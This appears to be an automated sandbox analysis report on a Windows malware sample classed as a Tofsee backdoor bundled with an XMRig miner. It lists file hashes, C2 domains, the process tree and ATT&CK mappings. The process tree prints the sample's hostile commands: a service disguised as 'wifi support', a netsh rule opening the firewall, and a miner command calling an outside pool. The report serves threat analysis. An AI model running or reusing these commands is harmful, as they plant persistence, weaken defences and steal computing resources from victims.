Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 22:09

General

  • Target

    file.exe

  • Size

    300KB

  • MD5

    3dba1f894e241fc35d9fda026cdeca64

  • SHA1

    c2e429de760176e7d3818ac2a2f15e252d9af7e0

  • SHA256

    3fde34848ef2ba38845bc457267d36dceb79005b4c106c709180415ac7f768bf

  • SHA512

    d6921e8388fc77fbc6afe1612910b8cc2384956b9dc2c414da01c7b5eea13f427b60b5fb3599bc30387b63b44cc690226b48161007f31d559bc88e48c488c834

  • SSDEEP

    3072:CGrHb6bGnLjhRGpkDbsUJSaG9iW7HPiuQjiMTE5INmp0yQ0afZi:CeH1nLj2unI4W7HquQj9ULQ0ah

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kiyzduka\
      2⤵
        PID:2004
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gvjgzfbe.exe" C:\Windows\SysWOW64\kiyzduka\
        2⤵
          PID:3448
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kiyzduka binPath= "C:\Windows\SysWOW64\kiyzduka\gvjgzfbe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3352
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kiyzduka "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kiyzduka
          2⤵
          • Launches sc.exe
          PID:4092
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4804 -s 1164
          2⤵
          • Program crash
          PID:364
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4804 -ip 4804
        1⤵
          PID:4416
        • C:\Windows\SysWOW64\kiyzduka\gvjgzfbe.exe
          C:\Windows\SysWOW64\kiyzduka\gvjgzfbe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1452
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4916
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:768
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1452 -s 528
            2⤵
            • Program crash
            PID:4140
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1452 -ip 1452
          1⤵
            PID:312

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gvjgzfbe.exe
            Filesize

            14.4MB

            MD5

            601248a3bc54765db43d08226e3f8dc3

            SHA1

            2c333c8040636aafbad02dccb2dc867dba22539d

            SHA256

            841f1e898d8a3d3e68f30e873ef6cb253d539a17c1182f4c164f9a6f837979cf

            SHA512

            a95406a4df1a3b9a19091ee4f68620b37b987b90a32db462edfe0c442e946e4a224388cae194c92dec10d51b62073ab691f2ae6ec5a1ae80dfe99d4113822d0c

          • C:\Windows\SysWOW64\kiyzduka\gvjgzfbe.exe
            Filesize

            14.4MB

            MD5

            601248a3bc54765db43d08226e3f8dc3

            SHA1

            2c333c8040636aafbad02dccb2dc867dba22539d

            SHA256

            841f1e898d8a3d3e68f30e873ef6cb253d539a17c1182f4c164f9a6f837979cf

            SHA512

            a95406a4df1a3b9a19091ee4f68620b37b987b90a32db462edfe0c442e946e4a224388cae194c92dec10d51b62073ab691f2ae6ec5a1ae80dfe99d4113822d0c

          • memory/768-172-0x0000000000170000-0x0000000000261000-memory.dmp
            Filesize

            964KB

          • memory/768-171-0x0000000000000000-mapping.dmp
          • memory/768-177-0x0000000000170000-0x0000000000261000-memory.dmp
            Filesize

            964KB

          • memory/1452-150-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/1452-149-0x0000000000719000-0x000000000072F000-memory.dmp
            Filesize

            88KB

          • memory/1728-142-0x0000000000000000-mapping.dmp
          • memory/2004-133-0x0000000000000000-mapping.dmp
          • memory/2260-140-0x0000000000000000-mapping.dmp
          • memory/3352-139-0x0000000000000000-mapping.dmp
          • memory/3448-137-0x0000000000000000-mapping.dmp
          • memory/4092-141-0x0000000000000000-mapping.dmp
          • memory/4804-144-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/4804-136-0x0000000000400000-0x00000000004C8000-memory.dmp
            Filesize

            800KB

          • memory/4804-135-0x0000000002200000-0x0000000002213000-memory.dmp
            Filesize

            76KB

          • memory/4804-134-0x00000000004D0000-0x00000000005D0000-memory.dmp
            Filesize

            1024KB

          • memory/4916-145-0x0000000000000000-mapping.dmp
          • memory/4916-153-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/4916-156-0x00000000025B0000-0x00000000025B6000-memory.dmp
            Filesize

            24KB

          • memory/4916-159-0x00000000025C0000-0x00000000025D0000-memory.dmp
            Filesize

            64KB

          • memory/4916-162-0x00000000025D0000-0x00000000025D5000-memory.dmp
            Filesize

            20KB

          • memory/4916-165-0x0000000007D00000-0x000000000810B000-memory.dmp
            Filesize

            4.0MB

          • memory/4916-168-0x00000000025E0000-0x00000000025E7000-memory.dmp
            Filesize

            28KB

          • memory/4916-152-0x0000000000F40000-0x0000000000F55000-memory.dmp
            Filesize

            84KB

          • memory/4916-151-0x0000000000F40000-0x0000000000F55000-memory.dmp
            Filesize

            84KB

          • memory/4916-146-0x0000000000F40000-0x0000000000F55000-memory.dmp
            Filesize

            84KB